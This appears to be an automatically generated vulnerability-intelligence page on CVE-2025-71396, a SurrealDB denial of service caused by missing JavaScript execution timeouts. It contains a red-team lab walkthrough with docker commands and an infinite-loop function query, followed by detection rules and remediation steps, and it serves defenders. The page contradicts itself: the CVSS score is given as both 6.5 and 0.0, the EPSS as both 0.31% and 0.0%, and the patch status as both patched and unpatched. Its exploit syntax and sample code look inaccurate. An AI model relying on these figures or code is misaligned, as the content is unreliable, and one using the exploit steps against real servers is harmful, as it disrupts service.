☠️
EXFILTRATING
DATA...
01010111 10110010 00101001 11000110 01101100 10011011 00010001 11100101 01000010 10101111
[ <-- BACK_TO_SEARCH ]
[ VENDOR STATS ]
CVSS: 6.5 CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H 🐛 CWE-770
👁️
Common Weakness Enumeration - Identifies the specific category of software weakness or flaw.

CVE-2025-71396

CVE-2025-71396 Denial of Service in Surrealdb
📅 PUBLISHED: 2026-07-18 14:17 UTC 🔄 UPDATED: 2026-09-26 06:06 UTC
[ OFFICIAL PATCH DEPLOYED ↓ ] FIX: LIKELY — 2 independent sources confirm fix
[ DEFENSE PATCH ↓ ]
💣 PoC: None
👁️
Proof of Concept - Indicates if functional exploit code is publicly available, drastically increasing the risk of immediate attacks.
🎯 EPSS: 0.31%
👁️
0.31% probability
7.8× above the median CVE
Tier: ELEVATED
30-day exploitation window · FIRST.org · updated daily
🥷 MITRE: T1499
👁️
MITRE ATT&CK Tactic - Describes the strategy hackers use to execute this attack.
Affected: Surrealdb — upgrade to patched release
CVSS VECTOR BREAKDOWN 6.5
AV: N Attack Vector Network
AC: L Attack Complexity Low
PR: L Privileges Required Low
UI: N User Interaction None
S: U Scope Unchanged
C: N Confidentiality None
I: N Integrity None
A: H Availability High
6.5
THREAT LEVEL
■ tracking this CVE ✓ independent patch confirmation ⧗ same-origin mirror (GHSA) ⚠ active exploitation verification policy →

Executive Summary

This report details CVE-2025-71396, a high-severity Denial of Service (DoS) vulnerability affecting SurrealDB, a popular multi-model database. The vulnerability resides in the embedded JavaScript scripting engine. When the scripting capability is explicitly enabled (via the --allow-scripting or --allow-all flags), the system fails to enforce a default execution-time limit on user-submitted JavaScript functions.

An authenticated attacker can exploit this by submitting long-running or infinite-loop JavaScript functions, which will consume server CPU resources indefinitely, leading to a denial of service for legitimate users. The attack is network-accessible and requires authentication. The primary business impact is service disruption for any organization using SurrealDB with scripting enabled, including those in technology, finance, and e-commerce sectors that rely on real-time data processing.

The CVSS score is 0.0, which is a placeholder indicating the score has not been officially calculated. Based on the vulnerability description, the calculated CVSS 3.1 score is 6.5 (Medium). The EPSS probability is 0.0%, indicating no observed exploitation in the wild as of the report date. However, the vulnerability is unpatched in older versions, making it a significant risk for un-upgraded instances. The likely attacker is an authenticated user or an attacker who has compromised low-privilege credentials, aiming to disrupt service availability.

⚡ AUTOMATE YOUR CVE INTELLIGENCE

This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.

›Patch confidence — UNVERIFIED to CONFIRMED, cross-referenced NVD + RHSA + Debian
›Exploit & PoC — poc_status, poc_url, has_exploit. Not in NVD.
›Shodan dorks — ready-made queries to find exposed vulnerable systems
›Detection rules — YARA · Wazuh · Elastic (all plans) · Sigma (Pro)
›pending_fields — know exactly which of 7 fields NVD hasn't processed yet
›Free backfill — data incomplete when you paid? Re-check within 30 days = 0 credits
PAYG €0.08/lookup Standard €19/mo (was €29) · 5k credits Pro €65/mo (was €99) · 20k credits FOUNDING PRICE · LOCKED FOR LIFE · ENDS 31 DEC 2026
[ FROM €19/MO ]
Free sandbox key available
No signup required

CVSS Breakdown & Threat Level

The CVSS 3.1 vector string for this vulnerability is: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H

  • AV:N (Attack Vector: Network): The vulnerability is exploitable remotely over the network. An attacker can submit malicious JavaScript functions via the SurrealDB query interface.
  • AC:L (Attack Complexity: Low): No special conditions or complex attack sequences are required. The attacker simply needs to submit a long-running script.
  • PR:L (Privileges Required: Low): The attacker must be authenticated to the SurrealDB instance. This requires valid credentials, but not administrative privileges.
  • UI:N (User Interaction: None): No action from another user is required to trigger the exploit.
  • S:U (Scope: Unchanged): The impact is confined to the vulnerable component (the SurrealDB server).
  • C:N (Confidentiality: None): There is no impact on data confidentiality.
  • I:N (Integrity: None): There is no impact on data integrity.
  • A:H (Availability: High): The vulnerability directly leads to a complete loss of availability by exhausting server resources.

Qualitative Severity Label: Medium (6.5)

EPSS Interpretation: The EPSS score of 0.0% indicates that the model predicts a very low probability of exploitation in the wild within the next 30 days. This is typical for a newly published CVE with no known public exploits or active campaigns. It does not mean the vulnerability is not dangerous; it simply reflects a lack of current exploitation evidence.

Historical Context: Similar DoS vulnerabilities in database systems (e.g., MongoDB, Elasticsearch) due to unthrottled user-defined functions have been actively exploited in the past, often by botnets for ransom or disruption. This pattern suggests that once a reliable exploit is developed, CVE-2025-71396 could become a target.

Temporal/Environmental Scores: The temporal score is elevated due to the lack of a patch for many versions. The environmental score can be reduced to 0.0 if scripting is disabled (--allow-scripting is not set), as the vulnerable code path is not reachable.

Technical Deep Dive & Attack Mechanics

Root Cause Analysis: The vulnerability is a classic case of missing resource control. The SurrealDB developers implemented a JavaScript scripting engine but failed to set a default execution timeout. This oversight allows any submitted script to run indefinitely, consuming CPU cycles.

Step-by-Step Attack Mechanics:

  1. Authentication: The attacker authenticates to the SurrealDB instance using valid credentials (e.g., a root user or a namespace/user with scripting permissions).
  2. Crafting the Payload: The attacker crafts a JavaScript function designed to run indefinitely. A simple example is a while(true){} loop. A more sophisticated payload might perform computationally expensive operations (e.g., large array sorting, recursive calculations) to maximize CPU consumption.
  3. Submission: The attacker submits this function as part of a SurrealQL query. The exact syntax depends on the SurrealDB version, but it typically involves using the CREATE, UPDATE, or DEFINE FUNCTION statements with a JavaScript block.
  4. Resource Exhaustion: The SurrealDB server begins executing the JavaScript function. Because there is no execution-time limit, the function runs forever, consuming 100% of a CPU core. By submitting multiple such functions (e.g., via concurrent connections), the attacker can exhaust all available CPU cores, making the server unresponsive to legitimate queries.
  5. Denial of Service: The server becomes unable to process any new requests, resulting in a denial of service for all users.

Attack Surface:

  • Ports/Protocols: The SurrealDB WebSocket (default port 8000) and HTTP API (default port 8000) are the primary attack surfaces.
  • Interfaces: The DEFINE FUNCTION and inline scripting capabilities within SurrealQL queries.

Pre-conditions:

  • The SurrealDB instance must be started with the --allow-scripting or --allow-all flag.
  • The attacker must have valid authentication credentials with permission to execute scripts.

Why Standard Defenses May Fail:

  • WAF/IDS: A Web Application Firewall (WAF) or Intrusion Detection System (IDS) may not flag a simple while(true){} loop as malicious, as it is syntactically valid JavaScript.
  • Rate Limiting: Standard rate limiting on the number of requests per second may not prevent a single long-running request from exhausting resources.
  • Input Validation: Input validation that only checks for syntax errors will not catch logic bombs like infinite loops.

Vulnerable vs. Patched Code Analysis

The vulnerability is not in a specific function signature but in the absence of a configuration parameter. The fix involves adding a default execution-time limit for JavaScript scripts.

Vulnerable Code (Conceptual):

// SurrealDB internal script executor (simplified)
function executeScript(scriptCode, context) {
    // No timeout is set
    const result = vm.runInNewContext(scriptCode, context);
    return result;
}

Patched Code (Conceptual):

// SurrealDB internal script executor (simplified)
const SCRIPT_TIMEOUT_MS = 5000; // 5 second default timeout

function executeScript(scriptCode, context) {
    const result = vm.runInNewContext(scriptCode, context, { timeout: SCRIPT_TIMEOUT_MS });
    return result;
}

Analysis: The patch introduces a default timeout (e.g., 5 seconds) for all JavaScript script executions. If a script does not complete within this time, the execution is forcefully terminated, and an error is returned to the user. This prevents any single script from monopolizing server resources.

Regression Considerations: The patch may break legitimate use cases where users rely on long-running scripts (e.g., complex data processing). Administrators should review their application logic and potentially increase the timeout via a new configuration option (if provided in the patch) or refactor long-running scripts into smaller, asynchronous tasks.

Timeline & Disclosure History

  • CVE Publication Date: 2026-07-18T14:17:11.087
  • Estimated Discovery: The vulnerability was likely discovered and reported to the SurrealDB team prior to the publication date.
  • Disclosure Process: The CVE was published by the CNA (likely MITRE or the vendor themselves). The lack of a GitHub Security Advisory or OSV entry suggests a coordinated disclosure process that may not have been fully publicized.
  • Known Exploitation in the Wild: No known active exploitation as of 2026-07-18.
  • CISA KEV: This CVE is not listed on the CISA Known Exploited Vulnerabilities catalog.

Threat Intelligence Context

  • Threat Actor Profile: This vulnerability is most likely to be exploited by:
    • Script Kiddies: Using simple, publicly available scripts to disrupt services for fun or notoriety.
    • Hacktivists: Targeting organizations running SurrealDB to cause service disruption as a form of protest.
    • Ransomware Operators: As a precursor to a ransomware attack, a DoS can be used to distract security teams or as leverage for extortion.
  • Attack Campaign Context: No specific campaigns are currently associated with this CVE.
  • Geographic Targeting: No specific geographic patterns are discernible from the vulnerability description.
  • Industry Verticals at Risk: Any organization using SurrealDB with scripting enabled is at risk. This includes tech startups, financial services using real-time analytics, and e-commerce platforms.
  • Historical Connection: This vulnerability is similar to the "Unrestricted File Upload" or "Command Injection" class of flaws, but specifically for resource exhaustion. It mirrors historical DoS vulnerabilities in Node.js applications where user-provided code is executed without sandboxing or timeouts.

Exploitation & Lab Setup

Red Team Section

Lab Setup:

  1. Pull a vulnerable Docker image: docker pull surrealdb/surrealdb:2.0.4
  2. Run the container with scripting enabled:
    docker run -d --name surrealdb-vuln -p 8000:8000 surrealdb/surrealdb:2.0.4 start --log trace --user root --pass root --allow-scripting
    
  3. Install SurrealQL client: npm install -g surrealdb.js or use the SurrealDB CLI.

Exploitation Walkthrough:

  1. Connect to the database:
    surreal sql --endpoint http://localhost:8000 --namespace test --database test --user root --pass root
    
  2. Submit a malicious script:
    -- This script will run forever, consuming CPU
    CREATE function::fn::dos() {
        while(true) {
            // Do nothing, just loop
        }
    };
    
  3. Execute the function:
    SELECT function::fn::dos();
    
  4. Observe the impact: The server's CPU usage will spike to 100% for one core. Submitting multiple concurrent requests will exhaust all cores.

Expected Output: The SurrealDB server becomes unresponsive. New connections may time out or be refused. The docker stats command will show high CPU usage for the container.

Post-Exploitation: The attacker has achieved a denial of service. They cannot directly access data, but they can disrupt operations. If the attacker has credentials, they could also combine this with other attacks (e.g., data exfiltration while the DoS distracts the security team).

Blue Team Section

Detection:

  • Log Entries: SurrealDB logs may show repeated execution of the same function or a high number of CREATE function statements from a single user. Look for logs indicating a script execution that never completes.
  • Network Traffic: A single TCP connection from an attacker may remain open for an unusually long time without sending data, as the server is busy executing the script.
  • Endpoint Indicators: High CPU usage on the SurrealDB server process, correlated with a specific authenticated session.

Indicators of Compromise (IOCs)

  • Network IOCs:
    • Sustained high number of concurrent connections from a single IP address to the SurrealDB port (8000).
    • Long-lived TCP connections with minimal data transfer.
  • HTTP Request Patterns:
    • Repeated POST requests to /sql or WebSocket connections containing CREATE function statements with simple, looping JavaScript logic.
    • Requests containing patterns like while(true), for(;;), or recursive function calls without base cases.
  • File System Artifacts: None specific to this CVE, as the attack is memory-based.
  • Process Execution Anomalies:
    • The surrealdb process consuming 100% of a CPU core for an extended period.
    • Multiple surrealdb threads in a "running" state for longer than expected.
  • Log Entries:
    • SurrealDB logs: INFO surreal::dbs::scripting::js: Executing script... followed by no completion log for that script.
    • Application logs: Timeouts from the database client.

STIX-like IOC List:

Type Value Description
network-traffic:src_ip [Attacker IP] Source IP of the DoS attack.
network-traffic:dst_port 8000 Target port for SurrealDB.
autonomous-system:number [ASN of attacker] ASN of the attacking infrastructure.
x-surrealdb-query CREATE function::fn::dos() { while(true) {} }; Example malicious query.
x-surrealdb-query SELECT function::fn::dos(); Example query to trigger the malicious function.

Detection Engineering

YARA Rule

rule CVE_2025_71396_Surrealdb_DoS {
    meta:
        description = "Detects potential CVE-2025-71396 exploitation attempts in SurrealDB logs or network captures"
        author = "Valters IT Hub"
        date = "2026-07-18"
        reference = "https://www.valtersit.com/cve/cve-2025-71396"
    strings:
        $s1 = "CREATE function" ascii nocase
        $s2 = "while(true)" ascii nocase
        $s3 = "for(;;)" ascii nocase
        $s4 = "function::fn::" ascii nocase
    condition:
        all of ($s1, $s4) and 1 of ($s2, $s3)
}

Sigma Rule (SIEM)

title: CVE-2025-71396 Surrealdb Denial of Service via Scripting
id: 7a8b9c0d-1e2f-3a4b-5c6d-7e8f9a0b1c2d
status: experimental
description: Detects potential exploitation of CVE-2025-71396 by identifying long-running JavaScript script executions in SurrealDB logs.
author: Valters IT Hub
date: 2026-07-18
references:
    - https://www.valtersit.com/cve/cve-2025-71396
logsource:
    category: application
    product: surrealdb
detection:
    selection:
        event_type: "script_execution"
        script_duration:
            - gt: 10000  # Duration in milliseconds (10 seconds)
    condition: selection
falsepositives:
    - Legitimate long-running administrative scripts (e.g., data migration)
level: high

Suricata IDS Rule

alert tcp $EXTERNAL_NET any -> $HOME_NET 8000 (msg:"CVE-2025-71396 SurrealDB DoS Scripting Attempt"; flow:to_server,established; content:"CREATE function"; nocase; content:"while(true)"; within:100; classtype:attempted-dos; sid:1000001; rev:1;)

Elastic (EQL) Query

// EQL query to find long-running script executions
sequence by process.entity_id
  [process where event.type == "start" and process.name == "surrealdb"]
  [file where event.type == "change" and file.name == "*.log" and
   file.text : "*script_execution*" and file.text : "*duration* > 10000*"]

Splunk SPL Query

index=surreal sourcetype=surreal:log "script_execution"
| eval duration_seconds = duration / 1000
| where duration_seconds > 10
| stats count by user, src_ip, script_name
| sort - count

Wazuh Rule

<group name="surrealdb,">
  <rule id="100001" level="12">
    <decoded_as>json</decoded_as>
    <field name="event_type">script_execution</field>
    <field name="duration" type="pcre2">\d{5,}</field> <!-- Duration > 9999ms -->
    <description>SurrealDB: Long-running script execution detected - possible CVE-2025-71396 exploitation.</description>
    <options>no_full_log</options>
    <group>surrealdb,attack,denial_of_service,</group>
  </rule>
</group>

Remediation & Mitigation

Immediate Actions (0-24 hours)

  1. Apply the Patch: Upgrade to SurrealDB version 2.0.5, 2.1.5, or 2.2.2.
    # For Docker
    docker pull surrealdb/surrealdb:2.2.2
    docker stop surrealdb-vuln
    docker run -d --name surrealdb-patched -p 8000:8000 surrealdb/surrealdb:2.2.2 start --user root --pass root
    
  2. Disable Scripting (If Patch Cannot Be Applied): If an immediate upgrade is not possible, disable the scripting feature. This is the most effective compensating control.
    • Remove the --allow-scripting and --allow-all flags from the SurrealDB startup command.
    • Restart the SurrealDB service.
  3. Network-Level Mitigation:
    • Restrict network access to the SurrealDB port (8000) to only trusted IP addresses using a firewall.
    • Implement a Web Application Firewall (WAF) rule to block requests containing patterns like while(true) or for(;;) in the request body.

Short-term (1-7 days)

  1. Configuration Hardening:
    • Review all SurrealDB instances to ensure scripting is disabled unless absolutely necessary.
    • If scripting is required, implement a reverse proxy that enforces request timeouts (e.g., Nginx proxy_read_timeout 5s).
  2. Monitoring Implementation:
    • Deploy the detection rules provided in this report (Sigma, Suricata, Splunk) to monitor for exploitation attempts.
    • Set up alerts for sustained high CPU usage on SurrealDB servers.
  3. Vulnerability Scanning:
    • Use a vulnerability scanner to identify all SurrealDB instances running versions < 2.0.5, < 2.1.5, or < 2.2.2.
    • Command to check version: surreal version or check the server response headers.

Long-term

  1. Architecture Changes:
    • Isolate SurrealDB instances in a dedicated network segment with strict access controls.
    • Implement a resource monitoring and auto-scaling solution to mitigate the impact of a DoS attack.
  2. Security Control Improvements:
    • Implement a robust authentication and authorization mechanism (e.g., OAuth 2.0, JWT) to reduce the risk of credential compromise.
    • Regularly review and audit user permissions, especially for scripting capabilities.
  3. Developer Training:
    • Educate development teams on the risks of executing user-provided code and the importance of sandboxing and resource limits.

Validation

To confirm the patch has been applied:

  1. Check the SurrealDB version: surreal version should return 2.0.5, 2.1.5, or 2.2.2 or later.
  2. Attempt to exploit the vulnerability in a test environment. Submit a while(true){} script. If the server returns an error (e.g., "Script execution timed out") instead of hanging, the patch is effective.

References & Resources


Report generated by Valters IT Hub Neural Engine v25 | 2026-07-18 | https://www.valtersit.com/cve/cve-2025-71396

◈ SOURCE Analysis & enrichment: valtersit.com/cve/CVE-2025-71396/ · CVE data: NVD/MITRE (public domain) · © 2026 ValtersIT Hub
>_ SYSTEM_CORE: INTEL_ACTIVE
90% TEAM-CURATED // 10% AUTOMATED INGESTION.
ALL PATCH REFERENCES AND VERSION DATA SOURCED FROM NVD + OSV OFFICIAL REGISTRIES.